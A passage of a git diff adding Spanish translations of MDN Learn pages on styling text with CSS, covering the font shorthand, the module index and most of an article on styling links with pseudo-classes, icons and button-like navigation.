+<p>Muchas propiedades relativas a los tipos de letra también pueden establecerse de forma abreviada con la propiedad {{cssxref("font")}}. Se escriben en el orden siguiente: {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-weight")}}, {{cssxref("font-stretch")}}, {{cssxref("font-size")}}, {{cssxref("line-height")}}, and {{cssxref("font-family")}}.</p>
+
+<p>De entre todas estas propiedades, solo <code>font-size</code> y <code>font-family</code> son obligatorias al usar la propiedad abreviada de <code>font</code>.</p>
+
+<p>Se debe colocar una barra inclinada (<em>slash</em>) entre las propiedades {{cssxref("font-size")}} y {{cssxref("line-height")}}.</p>
+
+<p>Un ejemplo completo se vería así:</p>
+
+<pre class="brush: css notranslate">font: italic normal bold normal 3em/1.5 Helvetica, Arial, sans-serif;</pre>
+
+<h2 id="Aprendizaje_activo_Jugar_a_aplicar_estilos">Aprendizaje activo: Jugar a aplicar estilos</h2>
+
+<p>En esta sección de aprendizaje activo no proponemos ningún ejercicio específico: Simplemente nos gustaría que juegues con algunas propiedades de diseño de tipo de letra / texto, ¡y a ver qué consigues! Puedes hacer esto con archivos HTML/CSS sin conexión, o puedes introducir tu código en el ejemplo editable en vivo a continuación.</p>
+
+<p>Si te equivocas, puedes volver a empezar con el botón <em>Reinicio</em>.</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"&gt;
+  &lt;h2&gt;HTML Input&lt;/h2&gt;
+  &lt;textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"&gt;
+  &lt;p&gt;Some sample text for your delight&lt;/p&gt;&lt;/textarea&gt;
+
+  &lt;h2&gt;CSS Input&lt;/h2&gt;
+  &lt;textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"&gt;p {
+
+  }&lt;/textarea&gt;
+
+  &lt;h2&gt;Output&lt;/h2&gt;
+  &lt;div class="output" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"&gt;&lt;/div&gt;
+  &lt;div class="controls"&gt;
+    &lt;input id="reset" type="button" value="Reset" style="margin: 10px 10px 0 0;"&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: js notranslate">var htmlInput = document.querySelector(".html-input");
+const cssInput = document.querySelector(".css-input");
+const reset = document.getElementById("reset");
+let htmlCode = htmlInput.value;
+let cssCode = cssInput.value;
+const output = document.querySelector(".output");
+
+const styleElem = document.createElement('style');
+const headElem = document.querySelector('head');
+headElem.appendChild(styleElem);
+
+function drawOutput() {
+  output.innerHTML = htmlInput.value;
+  styleElem.textContent = cssInput.value;
+}
+
+reset.addEventListener("click", function() {
+  htmlInput.value = htmlCode;
+  cssInput.value = cssCode;
+  drawOutput();
+});
+
+htmlInput.addEventListener("input", drawOutput);
+cssInput.addEventListener("input", drawOutput);
+window.addEventListener("load", drawOutput);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 800) }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Esperamos que hayas disfrutado jugando con el texto en este artículo. El próximo artículo te enseñará todo lo que necesitas saber sobre la aplicación de estilos de lista en HTML.</p>
+
+<p>{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Aplicar estilo al texto base y tipos de letra</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_lists">Aplicación de estilo a listas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_links">Aplicación de estilo a enlaces</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Web_fonts">Tipos de letra para web</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_text/Typesetting_a_homepage">Escribir una página de inicio para la comunidad escolar</a></li>
+</ul>
diff --git a/files/es/learn/css/styling_text/index.html b/files/es/learn/css/styling_text/index.html
new file mode 100644
index 0000000000..a87012ec5c
--- /dev/null
+++ b/files/es/learn/css/styling_text/index.html
@@ -0,0 +1,57 @@
+---
+title: Estilo de texto
+slug: Learn/CSS/Styling_text
+tags:
+  - Beginner
+  - CSS
+  - CodingScripting
+  - Fonts
+  - Landing
+  - Links
+  - Module
+  - NeedsTranslation
+  - Text
+  - TopicStub
+  - font
+  - letter
+  - line
+  - lists
+  - shadow
+  - web fonts
+translation_of: Learn/CSS/Styling_text
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Con los conceptos básicos del lenguaje CSS cubiertos, el siguiente tema de CSS para concentrarse es estilizar texto — una de las cosas más comunes que hará con CSS. Aquí observamos los fundamentos para estilizar texto, incluyendo la configuración de fuente, negrita, cursiva, linea y espacios entre letras, sombras paralelas y otras funciones de texto. Completamos el módulo observando la aplicación de fuentes personalizadas en su página, y el diseño de listas y enlaces.</p>
+
+<h2 id="Requisitos_previos">Requisitos previos</h2>
+
+<p>Antes de iniciar este módulo, ya debe estár familizarizado con HTML, como se explica en el módulo <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introducción a HTML</a>, y sentirse cómodo con los fundamentos de CSS, como se explica en <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introducción a CSS</a>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si está trabajando en una computadora/tableta/u otro dispositivo donde no tenga la capacidad de crear sus propios archivos, puede probar (la mayoría) de los ejemplos de código en un programa de codificación en línea como <a href="http://jsbin.com/">JSBin</a>,<a href="https://codepen.io/"> CodePen</a> o <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Guías">Guías</h2>
+
+<p>Este módulo contiene los siguientes artículos, los cuales le enseñarán todos los elementos esenciales detras del diseño de contenido de texto HTML.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Texto fundamental y estilo de fuente</a></dt>
+ <dd>En este artículo iremos a través de todos los aspectos básicos del estilo de texto/fuente en detalle, incluyendo configuraciones del peso de la fuente, la familia y el estilo, taquigrafía de fuente, alineación de texto y otros efectos, línea y espaciado de letras.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_lists">Estilos de listas</a></dt>
+ <dd>Las listas, en su mayor parte, se comportan como cualquier otro texto, pero hay algunas propiedades de CSS específicas para las listas que debe conocer, y algunas de las mejores prácticas para tener en cuenta. Este artículo explica todo.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_links">Estilos de enlaces</a></dt>
+ <dd>Al diseñar enlaces, es importante comprender cómo hacer uso de pseudo-clases para diseñar estados de enlaces de manera efectiva, y cómo diseñar enlaces para su uso en características de interfaces variadas comunes tales como menús de navegación y pestañas. Veremos todos estos temas en este artículo.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_text/Web_fonts">Fuentes web</a></dt>
+ <dd>Aquí exploraremos las fuentes web en detalle — estas permiten descargar fuentes personalizadas junto con su página web, para permitir un estilo de texto más variado y personalizado.</dd>
+</dl>
+
+<h2 id="Evaluaciones">Evaluaciones</h2>
+
+<p>Las siguientes evaluaciones pondrán a prueba su comprensión de las técnicas del diseño de texto cubiertas en las guías anteriores.</p>
+
+<dl>
+ <dt><a href="/en-US/Learn/CSS/Styling_text/Typesetting_a_homepage">Escribiendo una página de inicio para la comunidad de la escuela</a></dt>
+ <dd>En esta evaluación, pondremos a prueba su comprensión del estilo del texto haciendo que redacte el texto de la página principal de la escuela comunitaria.</dd>
+</dl>
diff --git a/files/es/learn/css/styling_text/styling_links/index.html b/files/es/learn/css/styling_text/styling_links/index.html
new file mode 100644
index 0000000000..b5180d51df
--- /dev/null
+++ b/files/es/learn/css/styling_text/styling_links/index.html
@@ -0,0 +1,434 @@
+---
+title: Dar estilo a los enlaces
+slug: Learn/CSS/Styling_text/Styling_links
+translation_of: Learn/CSS/Styling_text/Styling_links
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}</div>
+
+<p class="summary">A la hora de dar estilo a los <a href="/es/docs/Learn/HTML/Introduccion_a_HTML/Creating_hyperlinks">enlaces</a>, es importante comprender cómo utilizar las pseudoclases para diseñar los estados de un enlace de manera efectiva y cómo diseñar enlaces para su uso en diversas funciones de interfaz comunes, como menús y pestañas de navegación. Veremos todos estos temas en este artículo.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, conceptos básicos de HTML (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción al HTML</a>), conocimientos básicos de CSS (véase <a href="/es/docs/Learn/CSS/First_steps">Introducción al CSS</a>), <a href="/es/docs/Learn/CSS/Styling_text/Fundamentals">nociones de aplicación de estilo con CSS a textos y tipos de letra</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender a dar formato a los estados de un enlace y a usarlos de manera efectiva en algunas funciones de interfaz de usuario comunes, como los menús de navegación.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Echemos_un_vistazo_a_algunos_enlaces">Echemos un vistazo a algunos enlaces</h2>
+
+<p>Analizamos cómo se implementan los enlaces en tu HTML de acuerdo con las buenas prácticas de <a href="/es/docs/Learn/HTML/Introduccion_a_HTML/Creating_hyperlinks">Creación de hipervínculos</a>. En este artículo desarrollaremos estos conocimientos y te mostraremos las buenas prácticas del diseño de enlaces.</p>
+
+<h3 id="Los_estados_de_un_enlace">Los estados de un enlace</h3>
+
+<p>Lo primero que hay que entender es el concepto de estados de un enlace (diferentes estados en los que pueden estar los enlaces, que pueden diseñarse usando diferentes <a href="/es/docs/Learn/CSS/Building_blocks/Selectores_CSS">pseudoclases</a>):</p>
+
+<ul>
+ <li><strong>Link (no visitado)</strong>: El estado predeterminado que presenta un enlace cuando no está en ningún otro estado. Se puede especificar usando la pseudoclase {{cssxref(":link")}}.</li>
+ <li><strong>Visited</strong>: Un enlace cuando ya se ha visitado (está grabado en el historial del navegador); se le aplica otro formato con la pseudoclase {{cssxref(":visited")}}.</li>
+ <li><strong>Hover</strong>: Un enlace cuando se le pasa el cursor por encima; se le aplica otro formato con la pseudoclase {{cssxref(":hover")}}.</li>
+ <li><strong>Focus</strong>: Un enlace cuando tiene el foco (por ejemplo, se salta a este con la tecla <kbd>Tab</kbd> del teclado o se le da el foco mediante programación usando {{domxref("HTMLElement.focus()")}}); se le aplica un formato diferente con la pseudoclase {{cssxref(":focus")}}.</li>
+ <li><strong>Active</strong>: Un enlace cuando se activa (por ejemplo, se hace clic encima); se le aplica un formato diferente con la pseudoclase {{cssxref(":active")}}.</li>
+</ul>
+
+<h3 id="Estilos_predeterminados">Estilos predeterminados</h3>
+
+<p>El ejemplo siguiente ilustra cómo se comportará un enlace por defecto (el CSS simplemente amplía y centra el texto para que destaque más).</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;&lt;a href="#"&gt;Un enlace simple&lt;/a&gt;&lt;/p&gt;
+</pre>
+
+<pre class="brush: css notranslate">p {
+  font-size: 2rem;
+  text-align: center;
+}</pre>
+
+<p>{{ EmbedLiveSample('Estilos_predeterminados', '100%', 120) }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Todos los enlaces que hay en los ejemplos de esta página son simulados, encontrarás un símbolo <code>#</code> (almohadilla) en el lugar de una URL real. Esto es porque si incluyéramos enlaces reales, los ejemplos quedarían interrumpidos al hacer clic (daría error, o se cargaría una página en el ejemplo incrustado de la que no podrías volver atrás). <code>#</code> solo establece enlaces dentro de la misma página.</p>
+</div>
+
+<p>A medida que explores los estilos predeterminados, observarás algunas cosas:</p>
+
+<ul>
+ <li>Los enlaces están subrayados.</li>
+ <li>Los enlaces no visitados se ven de color azul.</li>
+ <li>Los enlaces visitados se ven de color morado.</li>
+ <li>Al pasar el puntero del ratón sobre un enlace, cambia a un pequeño icono en forma de mano.</li>
+ <li>Los enlaces que tienen el foco presentan un contorno alrededor: deberías poder saltar por los enlaces de esta página con el teclado pulsando la tecla de tabulación (en Mac, es posible que necesites habilitar la opción <em>Acceso total por teclado: Todos los controles</em> presionando <kbd>Ctrl</kbd> + <kbd>F7</kbd> para que funcione).</li>
+ <li>Los enlaces activos se muestran de color rojo (intenta mantener el cursor sobre el enlace mientras haces clic).</li>
+</ul>
+
+<p>Curiosamente, estos estilos predeterminados son casi los mismos que se utilizaban al inicio de los navegadores en la década de 1990. Esto se debe a que los usuarios conocen y esperan que sea de esta forma. Podría confundir a mucha gente que los enlaces se mostrasen de manera diferente. Esto no quiere decir que no puedas cambiar el formato de los enlaces, solo que no deberías alejarte mucho de la conducta esperada. Al menos deberías:</p>
+
+<ul>
+ <li>Subrayar los enlaces, pero no otros elementos. Si no quieres hacerlo, al menos destacarlos de alguna otra forma.</li>
+ <li>Hacer que reaccionen de alguna manera cuando se les pasa el cursor por encima, y de una manera algo diferente cuando se activan.</li>
+</ul>
+
+<p>Los estilos por defecto se pueden desactivar/cambiar usando las propiedades CSS siguientes:</p>
+
+<ul>
+ <li>{{cssxref("color")}} para el color del texto.</li>
+ <li>{{cssxref("cursor")}} para el estilo del cursor (no debes deshabilitar esta opción a menos que tengas una muy buena razón para hacerlo).</li>
+ <li>{{cssxref("outline")}} para el contorno del texto (un contorno es similar a un borde, la única diferencia es que el borde ocupa un espacio en la caja y el contorno solo se solapa sobre el fondo). El contorno es una ayuda de accesibilidad útil, así que piénsatelo bien antes de desactivar esta opción; al menos deberías plantear dos estilos para los estados de pasar el puntero por encima y de tener el foco.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: No estás limitado a las propiedades anteriores para diseñar tus enlaces; tienes libertad para usar cualquier propiedad que te guste. ¡Solo trata de que no resulte descabellado!</p>
+</div>
+
+<h3 id="Dar_formato_a_algunos_enlaces">Dar formato a algunos enlaces</h3>
+
+<p>Ahora que hemos visto los estados predeterminados, veamos un conjunto típico de estilos de enlace.</p>
+
+<p>Para empezar, escribiremos nuestro conjunto de reglas vacío:</p>
+
+<pre class="brush: css notranslate">a {
+
+}
+
+
+a:link {
+
+}
+
+a:visited {
+
+}
+
+a:focus {
+
+}
+
+a:hover {
+
+}
+
+a:active {
+
+}</pre>
+
+<p>Este orden es importante porque los estilos de enlace se construyen sobre los anteriores. Por ejemplo, los estilos de la primera regla se aplicarán a todas las reglas siguientes, y cuando activas un enlace también pasas con el cursor por encima. Si los pones en un orden incorrecto, no funcionarán adecuadamente. Para recordar este orden, puedes intentar utilizar una fórmula nemotécnica como <strong>L</strong>o<strong>V</strong>e <strong>F</strong>ears <strong>HA</strong>te.</p>
+
+<p>Ahora vamos a añadir algo más de información para darles formato:</p>
+
+<pre class="brush: css notranslate">body {
+  width: 300px;
+  margin: 0 auto;
+  font-size: 1.2rem;
+  font-family: sans-serif;
+}
+
+p {
+  line-height: 1.4;
+}
+
+a {
+  outline: none;
+  text-decoration: none;
+  padding: 2px 1px 0;
+}
+
+a:link {
+  color: #265301;
+}
+
+a:visited {
+  color: #437A16;
+}
+
+a:focus {
+  border-bottom: 1px solid;
+  background: #BAE498;
+}
+
+a:hover {
+  border-bottom: 1px solid;
+  background: #CDFEAA;
+}
+
+a:active {
+  background: #265301;
+  color: #CDFEAA;
+}</pre>
+
+<p>También proporcionaremos algún ejemplo de HTML al que aplicar CSS:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Dispones de varios navegadores, como &lt;a href="#"&gt;Mozilla
+Firefox&lt;/a&gt;, &lt;a href="#"&gt;Google Chrome&lt;/a&gt; y
+&lt;a href="#"&gt;Microsoft Edge&lt;/a&gt;.&lt;/p&gt;</pre>
+
+<p>Poner los dos juntos nos da este resultado:</p>
+
+<p>{{ EmbedLiveSample('Dar_formato_a_algunos_enlaces', '100%', 150) }}</p>
+
+<p>¿Qué hemos hecho aquí? Sin duda tiene un aspecto diferente al estilo predeterminado, pero todavía ofrece una experiencia lo suficientemente familiar como para que los usuarios sepan de qué se trata:</p>
+
+<ul>
+ <li>Las dos primeras reglas no presentan gran interés en esta explicación.</li>
+ <li>La tercera regla usa el selector <code>a</code> para eliminar el subrayado de texto predeterminado y el contorno en el estado de foco (que de todos modos varía dependiendo del navegador), y añade una pequeña cantidad de área de relleno a cada enlace (todo esto se aclarará más adelante).</li>
+ <li>A continuación, utilizamos los selectores <code>a:link</code> y <code>a:visited</code> para establecer un par de variaciones de color en los enlaces no visitados y visitados, para que se distingan.</li>
+ <li>Las dos reglas siguientes usan <code>a:focus</code> y <code>a:hover</code> para establecer colores de fondo diferentes para los enlaces con el foco y los enlaces activados con el paso del cursor, y además un subrayado para que el enlace destaque aún más. Aquí destacamos dos aspectos:
+  <ul>
+   <li>El subrayado se ha creado usando {{cssxref("border-bottom")}} y no {{cssxref("text-decoration")}}, y es que algunas personas lo prefieren porque el primero tiene mejores opciones en cuanto a estilo, y se dibuja un poco más abajo, por lo que no pisa los trazos descendentes de la palabra que se subraya (por ejemplo, los trazos de la g o la y).</li>
+   <li>El valor {{cssxref ("border-bottom")}} se ha establecido en <code>1px solid</code> sin especificar ningún color. Así, el borde adopta el mismo color que el texto del elemento, lo que es útil en casos en los que el texto es de un color diferente en cada caso.</li>
+  </ul>
+ </li>
+ <li>Finalmente, <code>a:active</code> se usa para dar a los enlaces un esquema de color inverso mientras se activan, ¡para dejar claro que algo importante sucede!</li>
+</ul>
+
+<h3 id="Aprendizaje_activo_proporciona_estilo_a_tus_enlaces">Aprendizaje activo: proporciona estilo a tus enlaces</h3>
+
+<p>En esta sesión de aprendizaje activo, queremos que tomes nuestro conjunto de reglas vacías y añadas tus propias declaraciones para lograr unos enlaces geniales. Da rienda suelta a tu imaginación. Estamos seguros de que puedes crear algo genial y tan funcional como nuestro ejemplo anterior.</p>
+
+<p>Si te equivocas, puedes volver a empezar pulsando el botón <em>Reinicio</em>. Si te quedas encallado, pulsa el botón <em>Mostrar la solución</em> para recuperar el ejemplo anterior.</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"&gt;
+  &lt;h2&gt;Entrada de HTML&lt;/h2&gt;
+  &lt;textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"&gt;&lt;p&gt; Hay varios navegadores disponibles, tales como &lt;a href="#"&gt;Mozilla
+ Firefox&lt;/a&gt;, &lt;a href="#"&gt;Google Chrome&lt;/a&gt; y
+&lt;a href="#"&gt;Microsoft Edge&lt;/a&gt;.&lt;/p&gt;&lt;/textarea&gt;
+
+  &lt;h2&gt;Entrada CSS&lt;/h2&gt;
+  &lt;textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"&gt;a {
+
+}
+
+a:link {
+
+}
+
+a:visited {
+
+}
+
+a:focus {
+
+}
+
+a:hover {
+
+}
+
+a:active {
+
+}&lt;/textarea&gt;
+
+  &lt;h2&gt;Salida&lt;/h2&gt;
+  &lt;div class="output" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"&gt;&lt;/div&gt;
+  &lt;div class="controls"&gt;
+    &lt;input id="reset" type="button" value="Reinicio" style="margin: 10px 10px 0 0;"&gt;
+    &lt;input id="solution" type="button" value="Mostrar la solución" style="margin: 10px 0 0 10px;"&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: js notranslate">var htmlInput = document.querySelector(".html-input");
+var cssInput = document.querySelector(".css-input");
+var reset = document.getElementById("reset");
+var htmlCode = htmlInput.value;
+var cssCode = cssInput.value;
+var output = document.querySelector(".output");
+var solution = document.getElementById("solution");
+
+var styleElem = document.createElement('style');
+var headElem = document.querySelector('head');
+headElem.appendChild(styleElem);
+
+function drawOutput() {
+  output.innerHTML = htmlInput.value;
+  styleElem.textContent = cssInput.value;
+}
+
+reset.addEventListener("click", function() {
+  htmlInput.value = htmlCode;
+  cssInput.value = cssCode;
+  drawOutput();
+});
+
+solution.addEventListener("click", function() {
+  htmlInput.value = htmlCode;
+  cssInput.value = 'p {\n  font-size: 1.2rem;\n  font-family: sans-serif;\n  line-height: 1.4;\n}\n\na {\n  outline: none;\n  text-decoration: none;\n  padding: 2px 1px 0;\n}\n\na:link {\n  color: #265301;\n}\n\na:visited {\n  color: #437A16;\n}\n\na:focus {\n  border-bottom: 1px solid;\n  background: #BAE498;\n}\n\na:hover {\n  border-bottom: 1px solid;\n  background: #CDFEAA;\n}\n\na:active {\n  background: #265301;\n  color: #CDFEAA;\n}';
+  drawOutput();
+});
+
+htmlInput.addEventListener("input", drawOutput);
+cssInput.addEventListener("input", drawOutput);
+window.addEventListener("load", drawOutput);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 800) }}</p>
+
+<h2 id="Incluir_iconos_en_los_enlaces">Incluir iconos en los enlaces</h2>
+
+<p>Una práctica común es incluir iconos en los enlaces para proporcionar más de un indicador en cuanto a qué tipo de contenido apunta. Echemos un vistazo a un ejemplo muy simple que añade un icono a enlaces externos (enlaces que conducen a otros sitios web). Este icono suele parecerse a una pequeña flecha que sale de un cuadro; para este ejemplo, usaremos <a href="https://icons8.com/web-app/741/external-link">este fantástico ejemplo de icons8.com</a>.</p>
+
+<p>Echemos un vistazo a algunos elementos HTML y CSS que nos van a proporcionar el efecto que queremos. En primer lugar, algunos elementos HTML sencillos para dar estilo:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Para obtener más información sobre el tiempo, visite nuestra &lt;a href="http://#"&gt;página del tiempo&lt;/a&gt;,
+mire la &lt;a href="http://#"&gt;Wikipedia&lt;/a&gt;, o cheque
+&lt;a href="http://#"&gt;Extreme Science&lt;/a&gt;.&lt;/p&gt;</pre>
+
+<p>A continuación, el CSS:</p>
+
+<pre class="brush: css notranslate">body {
+  width: 300px;
+  margin: 0 auto;
+  font-family: sans-serif;
+}
+
+p {
+  line-height: 1.4;
+}
+
+a {
+  outline: none;
+  text-decoration: none;
+  padding: 2px 1px 0;
+}
+
+a:link {
+  color: blue;
+}
+
+a:visited {
+  color: purple;
+}
+
+a:focus, a:hover {
+  border-bottom: 1px solid;
+}
+
+a:active {
+  color: red;
+}
+
+a[href*="http"] {
+  background: url('https://mdn.mozillademos.org/files/12982/external-link-52.png') no-repeat 100% 0;
+  background-size: 16px 16px;
+  padding-right: 19px;
+}</pre>
+
+<p>{{ EmbedLiveSample('Incluir_iconos_en_los_enlaces', '100%', 150) }}</p>
+
+<p>¿Qué pasa aquí? Omitiremos la mayor parte del CSS, ya que es la misma información que has visto antes. Sin embargo, la última regla es interesante: insertamos una imagen de fondo personalizada en enlaces externos de una manera similar a como manejamos <a href="/es/docs/Learn/CSS/Styling_text/Styling_lists#Uso_de_una_imagen_personalizada_como_vi%C3%B1eta">viñetas personalizadas en los elementos de lista</a> en el último artículo. Esta vez, sin embargo, utilizamos la propiedad abreviada {{cssxref("background")}} en lugar de las propiedades individuales. Establecemos la ruta a la imagen que queremos insertar, especificamos el valor <code>no-repeat</code> para que solo se inserte una copia, y luego especificamos la posición como al 100% a la derecha del contenido de texto y a 0 píxeles del extremo superior.</p>
+
+<p>También usamos {{cssxref("background-size")}} para especificar el tamaño de la imagen de fondo (es útil tener un icono más grande y luego cambiar su tamaño de esta manera, según sea necesario para fines de diseño web adaptativo). Sin embargo, esto solo funciona con Internet Explorer 9 y versiones posteriores, por lo que si trabajas con navegadores antiguos, tendrás que cambiar el tamaño de la imagen e insertarla tal como es.</p>
+
+<p>Finalmente, establecemos un área de relleno a la derecha ({{cssxref ("padding-right")}}) para los enlaces, para crear un espacio en que aparezca la imagen de fondo, de modo que no se superponga con el texto.</p>
+
+<p>Un último apunte: ¿cómo seleccionamos solo los enlaces externos? Bueno, si escribes tus enlaces <a href="/es/docs/Learn/HTML/Introduccion_a_HTML/Creating_hyperlinks">HTML</a> de forma adecuada, solo deberías usar URL absolutos para los enlaces externos. Para enlazar con otras partes del mismo sitio web, resulta más eficiente usar enlaces relativos. Por lo tanto, el texto «http» solo debe aparecer en los enlaces externos y es posible seleccionarlos con un <a href="/es/docs/Learn/CSS/Building_blocks/Selectores_CSS#Selectores_de_atributo">selector de atributos</a>: <code>a[href*="http"]</code> selecciona los elementos {{HTMLElement ( "a")}}, pero solo si tienen un atributo {{htmlattrxref("href","a")}} con un valor que contiene «http» en algún lugar de su contenido textual.</p>
+
+<p>Eso es todo. Vuelve a la sección de aprendizaje activo anterior ¡y prueba esta nueva técnica!</p>
+
+<div class="note">
+<p><strong>Nota</strong>: No te preocupes si aún no estás familiarizado con los <a href="/es/docs/Learn/CSS/Building_blocks">fondos</a> y el <a href="/en-US/docs/Web/Apps/Progressive/Responsive/responsive_design_building_blocks">diseño web adaptativo</a>, lo explicaremos en otros artículos.</p>
+</div>
+
+<h2 id="Dar_aspecto_de_botón_a_un_enlace">Dar aspecto de botón a un enlace</h2>
+
+<p>Las herramientas que has explorado hasta ahora en este artículo también se pueden usar de otras maneras. Por ejemplo, los estados como <code>hover</code> se pueden usar para diseñar muchos elementos diferentes, no solo enlaces. Es posible que desees diseñar un estado que señale el paso del cursor por encima de párrafos, elementos de lista u otras cosas.</p>
+
+<p>Además, suele ser bastante común dar a los enlaces un aspecto y un comportamiento de botón en ciertas circunstancias: el menú de navegación de un sitio web generalmente está marcado como una lista que contiene enlaces, y es posible aplicarle estilo fácilmente para que se parezca a un conjunto de botones de control o pestañas que proporcionan al usuario acceso a otras partes del sitio web. Vamos a ver cómo.</p>
+
+<p>En primer lugar, un poco de HTML:</p>
+
+<pre class="brush: html notranslate">&lt;ul&gt;
+  &lt;li&gt;&lt;a href="#"&gt;Inicio&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Pizza&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href = "#"&gt;Música&lt;/a&gt; &lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Wombats&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Finlandia&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<p>Y ahora nuestro CSS:</p>
+
+<pre class="brush: css notranslate">body,html {
+  margin: 0;
+  font-family: sans-serif;
+}
+
+ul {
+  padding: 0;
+  width: 100%;
+}
+
+li {
+  display: inline;
+}
+
+a {
+  outline: none;
+  text-decoration: none;
+  display: inline-block;
+  width: 19.5%;
+  margin-right: 0.625%;
+  text-align: center;
+  line-height: 3;
+  color: black;
+}
+
+li:last-child a {
+  margin-right: 0;
+}
+
+a:link, a:visited, a:focus {
+  background: yellow;
+}
+
+a:hover {
+  background: orange;
+}
+
+a:active {
+  background: red;
+  color: white;
+}</pre>
+
+<p>Esto nos da el resultado siguiente:</p>
+
+<p>{{ EmbedLiveSample('Dar_aspecto_de_botón_a_un_enlace', '100%', 100) }}</p>
+
+<p>Vamos a explicar qué pasa aquí, y nos vamos a centrar en los aspectos más interesantes:</p>
+
+<ul>
+ <li>Nuestra segunda regla elimina el área de relleno ({{cssxref ("padding")}}) predeterminada del elemento {{htmlelement ("ul")}} y establece un ancho para abarcar el 100% del contenedor externo (el {{htmlelement ("body")}}, en este caso).</li>
+ <li>Los elementos {{htmlelement ("li")}} por defecto suelen ser elementos de bloque (repasa los <a href="/es/docs/Learn/CSS/Building_blocks/El_modelo_de_caja">tipos de cajas CSS</a>), lo que significa que ocupan sus propias líneas. En este caso, creamos una lista de enlaces horizontal, para lo que en la tercera regla establecemos la propiedad {{cssxref ("display")}} en el valor <code>inline</code>, que ubica todos los elementos de la lista sobre la misma línea porque ahora se comportan como elementos de línea.</li>
+ <li>La cuarta regla (que da formato al elemento {{htmlelement("a")}}) es la más complicada. Vamos a verla paso a paso:
+  <ul>
+   <li>Como en los ejemplos anteriores, comenzamos por desactivar las propiedades predeterminadas {{cssxref ("text-decoration")}} y {{cssxref ("outline")}}, ya que no queremos que estropeen nuestro aspecto.</li>
+   <li>A continuación, configuramos la propiedad {{cssxref ("display")}} en el valor <code>inline-block</code>: los elementos {{htmlelement ("a")}} se muestran en línea de forma predeterminada y, aunque no queremos que ocupe más de una línea, como haría un valor de <code>block</code>, queremos poderlos dimensionar: <code>inline-block</code> nos permite hacerlo.</li>
+   <li>Ahora nos centramos en el tamaño. Queremos llenar todo el ancho del elemento de lista {{htmlelement ("ul")}} y dejar un pequeño margen entre cada botón (pero ningún hueco en el borde derecho), y queremos los 5 botones del mismo tamaño. Para hacer esto, establecemos el atributo {{cssxref ("width")}} en 19,5%, y el atributo {{cssxref ("margin-right")}} en 0,625%. Observa que el ancho completo suma 100,625%, lo que haría caer el último botón <code>&lt;ul&gt;</code> a la siguiente línea por desbordamiento. Sin embargo, lo restituimos al 100% con la siguiente regla, que selecciona solo el último elemento <code>&lt;a&gt;</code> de la lista y elimina de él el margen. ¡Hecho!</li>
+   <li>Las tres últimas declaraciones son bastante sencillas y tienen principalmente finalidades estéticas. Centramos el texto dentro de cada enlace, establecemos {{cssxref ("line-height")}} en 3 para dar algo de altura a los botones (lo que también presenta la ventaja de centrar verticalmente el texto), y establecemos el color del texto a negro.</li>
+  </ul>
+ </li>
+</ul>
+
+<div class="note">
